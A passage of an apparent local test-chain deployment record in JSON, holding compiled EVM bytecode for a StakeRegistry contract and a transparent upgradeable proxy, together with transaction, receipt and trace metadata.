4f70657261746f723a2060448201527f4f70657261746f7220646f6573206e6f74206d656574206d696e696d756d207360648201527f74616b6520726571756972656d656e7420666f722071756f72756d0000000000608482015260a401610611565b6000610b8e8c8585612001565b905082878681518110610ba357610ba361348e565b60200260200101906001600160601b031690816001600160601b031681525050610bcd8482612280565b868681518110610bdf57610bdf61348e565b6001600160601b0390921660209283029190910190910152505060019092019150610a339050565b509097909650945050505050565b600082815260026020908152604080832060ff851684528252808320805482518185028101850190935280835260609492939192909184015b82821015610ca7576000848152602090819020604080516060810182529185015463ffffffff8082168452600160201b82041683850152600160401b90046001600160601b031690820152825260019092019101610c4e565b5050505090505b92915050565b600080610cc18484611b58565b60400151949350505050565b7f000000000000000000000000f5059a5d33d5853360d16c683c16e67980206f366001600160a01b0316638da5cb5b6040518163ffffffff1660e01b8152600401602060405180830381865afa158015610d2b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d4f91906133f5565b6001600160a01b0316336001600160a01b031614610d7f5760405162461bcd60e51b815260040161061190613412565b81610d9b8160ff16600090815260016020526040902054151590565b610db75760405162461bcd60e51b8152600401610611906133a4565b815180610e2c5760405162461bcd60e51b815260206004820152603d60248201527f5374616b6552656769737472792e72656d6f7665537472617465676965733a2060448201527f6e6f20696e646963657320746f2072656d6f76652070726f76696465640000006064820152608401610611565b60ff841660009081526003602090815260408083206004909252822090915b838110156110da578660ff167f31fa2e2cd280c9375e13ffcf3d81e2378100186e4058f8d3ddb690b82dcd31f784888481518110610e8b57610e8b61348e565b602002602001015181548110610ea357610ea361348e565b600091825260209182902001546040516001600160a01b0390911681520160405180910390a28660ff167f11a5641322da1dff56a4b66eaac31ffa465295ece907cd163437793b4d009a7584888481518110610f0157610f0161348e565b602002602001015181548110610f1957610f1961348e565b600091825260208083209190910154604080516001600160a01b039092168252918101929092520160405180910390a282548390610f5990600190613547565b81548110610f6957610f6961348e565b9060005260206000200183878381518110610f8657610f8661348e565b602002602001015181548110610f9e57610f9e61348e565b600091825260209091208254910180546001600160a01b0319166001600160a01b03909216918217815591546001600160601b03600160a01b9182900416021790558254839080610ff157610ff161355a565b6000828152602081208201600019908101919091550190558154829061101990600190613547565b815481106110295761102961348e565b9060005260206000200160009054906101000a90046001600160a01b03168287838151811061105a5761105a61348e565b6020026020010151815481106110725761107261348e565b9060005260206000200160006101000a8154816001600160a01b0302191690836001600160a01b03160217905550818054806110b0576110b061355a565b600082815260209020810160001990810180546001600160a01b0319169055019055600101610e4b565b50505050505050565b6000336001600160a01b037f000000000000000000000000f5059a5d33d5853360d16c683c16e67980206f36161461112d5760405162461bcd60e51b8152600401610611906134bf565b6000805b8381101561123657600085858381811061114d5761114d61348e565b919091013560f81c600081815260016020526040902054909250151590506111dd5760405162461bcd60e51b815260206004820152603860248201527f5374616b6552656769737472792e7570646174654f70657261746f725374616b60448201527f653a2071756f72756d20646f6573206e6f7420657869737400000000000000006064820152608401610611565b6000806111ea838b611e0d565b915091508061120c5760009150600160ff84161b6001600160c01b0386161794505b60006112198a8585612001565b90506112258482612280565b505060019093019250611131915050565b5095945050505050565b60606000826001600160401b0381111561125c5761125c612eee565b604051908082528060200260200182016040528015611285578160200160208202803683370190505b50905060005b838110156114ea5760008585838181106112a7576112a761348e565b919091013560f81c600081815260016020526040902054909250151590506113465760405162461bcd60e51b815260206004820152604660248201527f5374616b6552656769737472792e676574546f74616c5374616b65496e64696360448201527f65734174426c6f636b4e756d6265723a2071756f72756d20646f6573206e6f7460648201526508195e1a5cdd60d21b608482015260a401610611565b60ff81166000908152600160205260408120805463ffffffff8a16929061136f5761136f61348e565b60009182526020909120015463ffffffff16111561141b5760405162461bcd60e51b815260206004820152605b60248201527f5374616b6552656769737472792e676574546f74616c5374616b65496e64696360448201527f65734174426c6f636b4e756d6265723a2071756f72756d20686173206e6f207360648201527f74616b6520686973746f727920617420626c6f636b4e756d6265720000000000608482015260a401610611565b60ff8116600090815260016020526040812054905b818110156114df5760ff8316600090815260016020819052604090912063ffffffff8b169161145f8486613547565b6114699190613547565b815481106114795761147961348e565b60009182526020909120015463ffffffff16116114d757600161149c8284613547565b6114a69190613547565b8585815181106114b8576114b861348e565b602002602001019063ffffffff16908163ffffffff16815250506114df565b600101611430565b50505060010161128b565b5090505b9392505050565b6004602052816000526040600020818154811061151157600080fd5b6000918252602090912001546001600160a01b03169150829050565b60408051606081018252600080825260208083018290528284018290528582526002815283822060ff881683529052919091208054839081106115725761157261348e565b600091825260209182902060408051606081018252929091015463ffffffff8082168452600160201b82041693830193909352600160401b9092046001600160601b031691810191909152949350505050565b604080518082019091526000808252602082015260ff831660009081526003602052604090208054839081106115fd576115fd61348e565b6000918252602091829020604080518082019091529101546001600160a01b0381168252600160a01b90046001600160601b0316918101919091529392505050565b604080516060810182526000808252602080830182905282840182905260ff86168252600190529190912080548390811061167c5761167c61348e565b600091825260209182902060408051606081018252929091015463ffffffff8082168452600160201b82041693830193909352600160401b9092046001600160601b0316918101919091529392505050565b7f000000000000000000000000f5059a5d33d5853360d16c683c16e67980206f366001600160a01b0316638da5cb5b6040518163ffffffff1660e01b8152600401602060405180830381865afa15801561172c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061175091906133f5565b6001600160a01b0316336001600160a01b0316146117805760405162461bcd60e51b815260040161061190613412565b8161179c8160ff16600090815260016020526040902054151590565b6117b85760405162461bcd60e51b8152600401610611906133a4565b6117c283836123f7565b505050565b336001600160a01b037f000000000000000000000000f5059a5d33d5853360d16c683c16e67980206f36161461180f5760405162461bcd60e51b8152600401610611906134bf565b60005b818110156118e357600083838381811061182e5761182e61348e565b919091013560f81c600081815260016020526040902054909250151590506118be5760405162461bcd60e51b815260206004820152603760248201527f5374616b6552656769737472792e646572656769737465724f70657261746f7260448201527f3a2071756f72756d20646f6573206e6f742065786973740000000000000000006064820152608401610611565b60006118cc86836000612001565b90506118d88282612280565b505050600101611812565b50505050565b7f000000000000000000000000f5059a5d33d5853360d16c683c16e67980206f366001600160a01b0316638da5cb5b6040518163ffffffff1660e01b8152600401602060405180830381865afa158015611947573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061196b91906133f5565b6001600160a01b0316336001600160a01b03161461199b5760405162461bcd60e51b815260040161061190613412565b816119b78160ff16600090815260016020526040902054151590565b6119d35760405162461bcd60e51b8152600401610611906133a4565b6117c28383612460565b60ff83166000908152600160205260408120805482919084908110611a0457611a0461348e565b600091825260209182902060408051606081018252919092015463ffffffff8082168352600160201b820416938201939093526001600160601b03600160401b90930492909216908201529050610cc1818561288e565b60ff81166000908152600160208190526040822080549091611a7c91613547565b81548110611a8c57611a8c61348e565b600091825260209091200154600160401b90046001600160601b031692915050565b6000611abb848484612a08565b949350505050565b600082815260026020908152604080832060ff881684529091528120805482919084908110611af457611af461348e565b600091825260209182902060408051606081018252919092015463ffffffff8082168352600160201b820416938201939093526001600160601b03600160401b90930492909216908201529050611b4b818661288e565b6040015195945050505050565b6040805160608082018352600080835260208084018290528385018290528682526002815284822060ff8716835281528482205485519384018652828452908301829052938201819052919291829003611bb5579150610cae9050565b600085815260026020908152604080832060ff881684529091529020611bdc600184613547565b81548110611bec57611bec61348e565b600091825260209182902060408051606081018252919092015463ffffffff8082168352600160201b820416938201939093526001600160601b03600160401b90930492909216908201529250610cae915050565b600083815260026020908152604080832060ff861684529091528120611c68858585612a08565b63ffffffff1681548110611c7e57611c7e61348e565b600091825260209091200154600160401b90046001600160601b0316949350505050565b336001600160a01b037f000000000000000000000000f5059a5d33d5853360d16c683c16e67980206f361614611cea5760405162461bcd60e51b8152600401610611906134bf565b60ff831660009081526001602052604090205415611d685760405162461bcd60e51b815260206004820152603560248201527f5374616b6552656769737472792e696e697469616c697a6551756f72756d3a2060448201527471756f72756d20616c72656164792065786973747360581b6064820152608401610611565b611d728382612460565b611d7c83836123f7565b505060ff166000908152600160208181526040808420815160608101835263ffffffff438116825281850187815293820187815283549687018455928752939095209451949093018054915193516001600160601b0316600160401b02600160401b600160a01b0319948416600160201b0267ffffffffffffffff1990931695909316949094171791909116179055565b600080600080611e2c8660ff1660009081526003602052604090205490565b604080518082019091526000808252602082015290915060ff871660009081526004602081905260408083209051639004134760e01b81526001600160a01b037f000000000000000000000000cf7ed3acca5a467e9e704c703e8d87f634fb0fc91692639004134792611ea1928c9201613570565b600060405180830381865afa158015611ebe573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052611ee691908101906135d1565b905060005b83811015611fcd5760ff89166000908152600360205260409020805482908110611f1757611f1761348e565b60009182526020808320604080518082019091529201546001600160a01b0381168352600160a01b90046001600160601b0316908201528351909450839083908110611f6557611f6561348e565b60200260200101511115611fc557670de0b6b3a764000083602001516001600160601b0316838381518110611f9c57611f9c61348e565b6020026020010151611fae9190613661565b611fb89190613678565b611fc2908661369a565b94505b600101611eeb565b50505060ff8616600090815260208190526040902054919350506001600160601b03908116908316101590505b9250929050565b600083815260026020908152604080832060ff8616845290915281205481908082036120c757600086815260026020908152604080832060ff891684528252808320815160608101835263ffffffff43811682528185018681526001600160601b03808c16958401958652845460018101865594885295909620915191909201805495519351909416600160401b02600160401b600160a01b0319938316600160201b0267ffffffffffffffff1990961691909216179390931716919091179055612226565b600086815260026020908152604080832060ff8916845290915281206120ee600184613547565b815481106120fe576120fe61348e565b600091825260209091200180546001600160601b03600160401b909104811694509091508516830361213657600093505050506114ee565b805463ffffffff43811691160361216e578054600160401b600160a01b031916600160401b6001600160601b03871602178155612224565b805467ffffffff000000001916600160201b4363ffffffff90811682810293909317845560008a815260026020908152604080832060ff8d168452825280832081516060810183529687528683018481526001600160601b038d81169389019384528254600181018455928652939094209651960180549351915196851667ffffffffffffffff1990941693909317931690930291909117600160401b600160a01b031916600160401b93909216929092021790555b505b6040805160ff871681526001600160601b038616602082015287917f2f527d527e95d8fe40aec55377743bb779087da3f6d0d08f12e36444da62327d910160405180910390a26122768285612b6e565b9695505050505050565b60ff8216600090815260016020819052604082208054918391906122a49084613547565b815481106122b4576122b461348e565b906000526020600020019050836000036122e25754600160401b90046001600160601b03169150610cae9050565b805460009061230190600160401b90046001600160601b031686612b86565b825490915063ffffffff43811691160361233c578154600160401b600160a01b031916600160401b6001600160601b038316021782556123ee565b815463ffffffff438116600160201b81810267ffffffff000000001990941693909317855560ff8916600090815260016020818152604080842081516060810183529586528583018581526001600160601b03808b169388019384528254958601835591865292909420945194909201805491519251909316600160401b02600160401b600160a01b031992861690960267ffffffffffffffff19909116939094169290921792909217169190911790555b95945050505050565b60ff82166000818152602081815260409182902080546bffffffffffffffffffffffff19166001600160601b03861690811790915591519182527f26eecff2b70b0a71104ff4d940ba7162d23a95c248771fc487a7be17a596b3cf910160405180910390a25050565b60008151116124c55760405162461bcd60e51b8152602060048201526038602482015260008051602061374183398151915260448201527f3a206e6f20737472617465676965732070726f766964656400000000000000006064820152608401610611565b805160ff8316600090815260036020908152604090912054906124e883836136ba565b11156125585760405162461bcd60e51b8152602060048201526045602482015260008051602061374183398151915260448201527f3a20657863656564204d41585f5745494748494e475f46554e4354494f4e5f4c60648201526408a9c8ea8960db1b608482015260a401610611565b60005b828110156128875760005b61257082846136ba565b811015612646578482815181106125895761258961348e565b6020026020010151600001516001600160a01b0316600360008860ff1660ff16815260200190815260200160002082815481106125c8576125c861348e565b6000918252602090912001546001600160a01b03160361263e5760405162461bcd60e51b815260206004820152603d602482015260008051602061374183398151915260448201527f3a2063616e6e6f74206164642073616d652073747261746567792032780000006064820152608401610611565b600101612566565b50600084828151811061265b5761265b61348e565b6020026020010151602001516001600160601b0316116126e05760405162461bcd60e51b8152602060048201526046602482015260008051602061374183398151915260448201527f3a2063616e6e6f74206164642073747261746567792077697468207a65726f206064820152651dd95a59da1d60d21b608482015260a401610611565b60ff8516600090815260036020526040902084518590839081106127065761270661348e565b602090810291909101810151825460018101845560009384528284208251928401516001600160601b0316600160a01b026001600160a01b039093169290921791015560ff871682526004905260409020845185908390811061276b5761276b61348e565b6020908102919091018101515182546001810184556000938452919092200180546001600160a01b0319166001600160a01b03909216919091179055835160ff8616907f10565e56cacbf32eca267945f054fec02e59750032d113d3302182ad967f5404908690849081106127e2576127e261348e565b602090810291909101810151516040516001600160a01b0390911681520160405180910390a28460ff167f11a5641322da1dff56a4b66eaac31ffa465295ece907cd163437793b4d009a7585838151811061283f5761283f61348e565b60200260200101516000015186848151811061285d5761285d61348e565b602002602001015160200151604051612877929190612c0f565b60405180910390a260010161255b565b5050505050565b816000015163ffffffff168163ffffffff1610156129335760405162461bcd60e51b815260206004820152605660248201527f5374616b6552656769737472792e5f76616c69646174655374616b655570646160448201527f74654174426c6f636b4e756d6265723a207374616b6555706461746520697320606482015275333937b69030b33a32b910313637b1b5a73ab6b132b960511b608482015260a401610611565b602082015163ffffffff1615806129595750816020015163ffffffff168163ffffffff16105b612a045760405162461bcd60e51b815260206004820152606a60248201527f5374616b6552656769737472792e5f76616c69646174655374616b655570646160448201527f74654174426c6f636b4e756d6265723a2074686572652069732061206e65776560648201527f72207374616b6555706461746520617661696c61626c65206265666f726520626084820152693637b1b5a73ab6b132b960b11b60a482015260c401610611565b5050565b600083815260026020908152604080832060ff86168452909152812054805b8015612aa957600086815260026020908152604080832060ff89168452909152902063ffffffff851690612a5c600184613547565b81548110612a6c57612a6c61348e565b60009182526020909120015463ffffffff1611612a9757612a8e600182613547565b925050506114ee565b80612aa1816136cd565b915050612a27565b5060405162461bcd60e51b815260206004820152608160248201527f5374616b6552656769737472792e5f6765745374616b65557064617465496e6460448201527f6578466f724f70657261746f724174426c6f636b4e756d6265723a206e6f207360648201527f74616b652075706461746520666f756e6420666f72206f70657261746f72496460848201527f20616e642071756f72756d4e756d62657220617420626c6f636b206e756d626560a4820152603960f91b60c482015260e401610611565b60006114ee6001600160601b038085169084166136e4565b600080821215612baa57612b9982613704565b612ba39084613720565b9050610cae565b612ba3828461369a565b803560ff81168114612bc557600080fd5b919050565b600060208284031215612bdc57600080fd5b6114ee82612bb4565b60008060408385031215612bf857600080fd5b612c0183612bb4565b946020939093013593505050565b6001600160a01b039290921682526001600160601b0316602082015260400190565b6001600160a01b0381168114612c4657600080fd5b50565b60008060408385031215612c5c57600080fd5b612c6583612bb4565b91506020830135612c7581612c31565b809150509250929050565b60008083601f840112612c9257600080fd5b5081356001600160401b03811115612ca957600080fd5b6020830191508360208260051b8501011115611ffa57600080fd5b600080600080600060608688031215612cdc57600080fd5b612ce586612bb4565b945060208601356001600160401b0380821115612d0157600080fd5b612d0d89838a01612c80565b90965094506040880135915080821115612d2657600080fd5b50612d3388828901612c80565b969995985093965092949392505050565b60008083601f840112612d5657600080fd5b5081356001600160401b03811115612d6d57600080fd5b602083019150836020828501011115611ffa57600080fd5b60008060008060608587031215612d9b57600080fd5b8435612da681612c31565b93506020850135925060408501356001600160401b03811115612dc857600080fd5b612dd487828801612d44565b95989497509550505050565b60008151808452602080850194506020840160005b83811015612e1a5781516001600160601b031687529582019590820190600101612df5565b509495945050505050565b604081526000612e386040830185612de0565b82810360208401526123ee8185612de0565b60008060408385031215612e5d57600080fd5b82359150612e6d60208401612bb4565b90509250929050565b6020808252825182820181905260009190848201906040850190845b81811015612ee257612ecf83855163ffffffff808251168352806020830151166020840152506001600160601b0360408201511660408301525050565b9284019260609290920191600101612e92565b50909695505050505050565b634e487b7160e01b600052604160045260246000fd5b604080519081016001600160401b0381118282101715612f2657612f26612eee565b60405290565b604051601f8201601f191681016001600160401b0381118282101715612f5457612f54612eee565b604052919050565b60006001600160401b03821115612f7557612f75612eee565b5060051b60200190565b60008060408385031215612f9257600080fd5b612f9b83612bb4565b91506020808401356001600160401b03811115612fb757600080fd5b8401601f81018613612fc857600080fd5b8035612fdb612fd682612f5c565b612f2c565b81815260059190911b82018301908381019088831115612ffa57600080fd5b928401925b8284101561301857833582529284019290840190612fff565b80955050505050509250929050565b803563ffffffff81168114612bc557600080fd5b60008060006040848603121561305057600080fd5b61305984613027565b925060208401356001600160401b0381111561307457600080fd5b61308086828701612d44565b9497909650939450505050565b6020808252825182820181905260009190848201906040850190845b81811015612ee257835163ffffffff16835292840192918401916001016130a9565b6000806000606084860312156130e057600080fd5b6130e984612bb4565b95602085013595506040909401359392505050565b815163ffffffff9081168252602080840151909116908201526040808301516001600160601b03169082015260608101610cae565b80356001600160601b0381168114612bc557600080fd5b6000806040838503121561315d57600080fd5b61316683612bb4565b9150612e6d60208401613133565b60008060006040848603121561318957600080fd5b8335925060208401356001600160401b0381111561307457600080fd5b600082601f8301126131b757600080fd5b813560206131c7612fd683612f5c565b82815260069290921b840181019181810190868411156131e657600080fd5b8286015b8481101561323557604081890312156132035760008081fd5b61320b612f04565b813561321681612c31565b8152613223828601613133565b818601528352918301916040016131ea565b509695505050505050565b6000806040838503121561325357600080fd5b61325c83612bb4565b915060208301356001600160401b0381111561327757600080fd5b613283858286016131a6565b9150509250929050565b6000806000606084860312156132a257600080fd5b6132ab84612bb4565b92506132b960208501613027565b9150604084013590509250925092565b6000806000606084860312156132de57600080fd5b833592506132ee60208501612bb4565b91506132fc60408501613027565b90509250925092565b6000806000806080858703121561331b57600080fd5b61332485612bb4565b935061333260208601613027565b93969395505050506040820135916060013590565b60008060006060848603121561335c57600080fd5b61336584612bb4565b925061337360208501613133565b915060408401356001600160401b0381111561338e57600080fd5b61339a868287016131a6565b9150509250925092565b60208082526031908201527f5374616b6552656769737472792e71756f72756d4578697374733a2071756f726040820152701d5b48191bd95cc81b9bdd08195e1a5cdd607a1b606082015260800190565b60006020828403121561340757600080fd5b81516114ee81612c31565b60208082526056908201527f5374616b6552656769737472792e6f6e6c79436f6f7264696e61746f724f776e60408201527f65723a2063616c6c6572206973206e6f7420746865206f776e6572206f6620746060820152753432903932b3b4b9ba393ca1b7b7b93234b730ba37b960511b608082015260a00190565b634e487b7160e01b600052603260045260246000fd5b6000602082840312156134b657600080fd5b6114ee82613133565b6020808252604c908201527f5374616b6552656769737472792e6f6e6c795265676973747279436f6f72646960408201527f6e61746f723a2063616c6c6572206973206e6f7420746865205265676973747260608201526b3ca1b7b7b93234b730ba37b960a11b608082015260a00190565b634e487b7160e01b600052601160045260246000fd5b81810381811115610cae57610cae613531565b634e487b7160e01b600052603160045260246000fd5b60006040820160018060a01b038086168452602060406020860152828654808552606087019150876000526020600020945060005b818110156135c35785548516835260019586019592840192016135a5565b509098975050505050505050565b600060208083850312156135e457600080fd5b82516001600160401b038111156135fa57600080fd5b8301601f8101851361360b57600080fd5b8051613619612fd682612f5c565b81815260059190911b8201830190838101908783111561363857600080fd5b928401925b828410156136565783518252928401929084019061363d565b979650505050505050565b8082028115828204841417610cae57610cae613531565b60008261369557634e487b7160e01b600052601260045260246000fd5b500490565b6001600160601b0381811683821601908082111561062b5761062b613531565b80820180821115610cae57610cae613531565b6000816136dc576136dc613531565b506000190190565b818103600083128015838313168383128216171561062b5761062b613531565b6000600160ff1b820161371957613719613531565b5060000390565b6001600160601b0382811682821603908082111561062b5761062b61353156fe5374616b6552656769737472792e5f6164645374726174656779506172616d73a264697066735822122086a228217be3aa4346ddc514699a0ca7893ec8b64cbf2023e3b1369fe2efcf1164736f6c63430008180033","nonce":43,"gas_used":3127559},"receipt":{"type":"0x2","status":"0x1","cumulativeGasUsed":"0x2fb907","logs":[],"logsBloom":"0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"},"block_hash":"0x2106ea21b1dc2d13810e72b9de3820024363ba540315c3747a8ebd7251733aca","block_number":8},{"info":{"transaction_hash":"0x59aadeac6bfd3d5ec958ebce13efbec270df30e25b8639b1e6906cbdb916c05a","transaction_index":1,"from":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","to":null,"contract_address":"0x2279b7a0a67db372996a5fab50d91eaa73d2ebe6","traces":[{"parent":null,"children":[],"idx":0,"trace":{"depth":0,"success":true,"caller":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","address":"0x2279b7a0a67db372996a5fab50d91eaa73d2ebe6","maybe_precompile":false,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"CREATE","value":"0x0","data":"0x6080604052604051610d78380380610d78833981016040819052610022916103e7565b828161003082826000610044565b5061003c905082610070565b50505061050c565b61004d836100de565b60008251118061005a5750805b1561006b57610069838361011e565b505b505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6100b0600080516020610d31833981519152546001600160a01b031690565b604080516001600160a01b03928316815291841660208301520160405180910390a16100db8161014a565b50565b6100e7816101e6565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b60606101438383604051806060016040528060278152602001610d516027913961027a565b9392505050565b6001600160a01b0381166101b45760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b80600080516020610d318339815191525b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b6102535760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016101ab565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6101c5565b60606001600160a01b0384163b6102e25760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016101ab565b600080856001600160a01b0316856040516102fd91906104bd565b600060405180830381855af49150503d8060008114610338576040519150601f19603f3d011682016040523d82523d6000602084013e61033d565b606091505b50909250905061034e828286610358565b9695505050505050565b60608315610367575081610143565b8251156103775782518084602001fd5b8160405162461bcd60e51b81526004016101ab91906104d9565b80516001600160a01b03811681146103a857600080fd5b919050565b634e487b7160e01b600052604160045260246000fd5b60005b838110156103de5781810151838201526020016103c6565b50506000910152565b6000806000606084860312156103fc57600080fd5b61040584610391565b925061041360208501610391565b60408501519092506001600160401b0381111561042f57600080fd5b8401601f8101861361044057600080fd5b80516001600160401b03811115610459576104596103ad565b604051601f8201601f19908116603f011681016001600160401b0381118282101715610487576104876103ad565b60405281815282820160200188101561049f57600080fd5b6104b08260208301602086016103c3565b8093505050509250925092565b600082516104cf8184602087016103c3565b9190910192915050565b60208152600082518060208401526104f88160408501602087016103c3565b601f01601f19169190910160400192915050565b6108168061051b6000396000f3fe60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100855780635c60da1b146100985780638f283970146100c9578063f851a440146100e95761005d565b3661005d5761005b6100fe565b005b61005b6100fe565b34801561007157600080fd5b5061005b6100803660046106a6565b610118565b61005b6100933660046106c1565b610155565b3480156100a457600080fd5b506100ad6101bc565b6040516001600160a01b03909116815260200160405180910390f35b3480156100d557600080fd5b5061005b6100e43660046106a6565b6101ed565b3480156100f557600080fd5b506100ad61020d565b61010661022e565b6101166101116102c3565b6102cd565b565b6101206102f1565b6001600160a01b0316330361014d5761014a81604051806020016040528060008152506000610324565b50565b61014a6100fe565b61015d6102f1565b6001600160a01b031633036101b4576101af8383838080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525060019250610324915050565b505050565b6101af6100fe565b60006101c66102f1565b6001600160a01b031633036101e2576101dd6102c3565b905090565b6101ea6100fe565b90565b6101f56102f1565b6001600160a01b0316330361014d5761014a8161034f565b60006102176102f1565b6001600160a01b031633036101e2576101dd6102f1565b6102366102f1565b6001600160a01b031633036101165760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f78792074617267606482015261195d60f21b608482015260a4015b60405180910390fd5b60006101dd6103a3565b3660008037600080366000845af43d6000803e8080156102ec573d6000f35b3d6000fd5b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b61032d836103cb565b60008251118061033a5750805b156101af57610349838361040b565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6103786102f1565b604080516001600160a01b03928316815291841660208301520160405180910390a161014a81610437565b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc610315565b6103d4816104e0565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b606061043083836040518060600160405280602781526020016107ba60279139610574565b9392505050565b6001600160a01b03811661049c5760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084016102ba565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b61054d5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016102ba565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104bf565b60606001600160a01b0384163b6105dc5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016102ba565b600080856001600160a01b0316856040516105f7919061076a565b600060405180830381855af49150503d8060008114610632576040519150601f19603f3d011682016040523d82523d6000602084013e610637565b606091505b5091509150610647828286610651565b9695505050505050565b60608315610660575081610430565b8251156106705782518084602001fd5b8160405162461bcd60e51b81526004016102ba9190610786565b80356001600160a01b03811681146106a157600080fd5b919050565b6000602082840312156106b857600080fd5b6104308261068a565b6000806000604084860312156106d657600080fd5b6106df8461068a565b9250602084013567ffffffffffffffff8111156106fb57600080fd5b8401601f8101861361070c57600080fd5b803567ffffffffffffffff81111561072357600080fd5b86602082840101111561073557600080fd5b939660209190910195509293505050565b60005b83811015610761578181015183820152602001610749565b50506000910152565b6000825161077c818460208701610746565b9190910192915050565b60208152600082518060208401526107a5816040850160208701610746565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220c41b0469e002b3b7c2a8865eddcfedb7a0854d8e9d8184483e9f6075fcd0521d64736f6c634300081b0033b53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c65640000000000000000000000009fe46736679d2d9a65f0992f2272de9f3c7fa6e00000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa300000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000000","output":"0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100855780635c60da1b146100985780638f283970146100c9578063f851a440146100e95761005d565b3661005d5761005b6100fe565b005b61005b6100fe565b34801561007157600080fd5b5061005b6100803660046106a6565b610118565b61005b6100933660046106c1565b610155565b3480156100a457600080fd5b506100ad6101bc565b6040516001600160a01b03909116815260200160405180910390f35b3480156100d557600080fd5b5061005b6100e43660046106a6565b6101ed565b3480156100f557600080fd5b506100ad61020d565b61010661022e565b6101166101116102c3565b6102cd565b565b6101206102f1565b6001600160a01b0316330361014d5761014a81604051806020016040528060008152506000610324565b50565b61014a6100fe565b61015d6102f1565b6001600160a01b031633036101b4576101af8383838080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525060019250610324915050565b505050565b6101af6100fe565b60006101c66102f1565b6001600160a01b031633036101e2576101dd6102c3565b905090565b6101ea6100fe565b90565b6101f56102f1565b6001600160a01b0316330361014d5761014a8161034f565b60006102176102f1565b6001600160a01b031633036101e2576101dd6102f1565b6102366102f1565b6001600160a01b031633036101165760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f78792074617267606482015261195d60f21b608482015260a4015b60405180910390fd5b60006101dd6103a3565b3660008037600080366000845af43d6000803e8080156102ec573d6000f35b3d6000fd5b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b61032d836103cb565b60008251118061033a5750805b156101af57610349838361040b565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6103786102f1565b604080516001600160a01b03928316815291841660208301520160405180910390a161014a81610437565b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc610315565b6103d4816104e0565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b606061043083836040518060600160405280602781526020016107ba60279139610574565b9392505050565b6001600160a01b03811661049c5760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084016102ba565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b61054d5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016102ba565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104bf565b60606001600160a01b0384163b6105dc5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65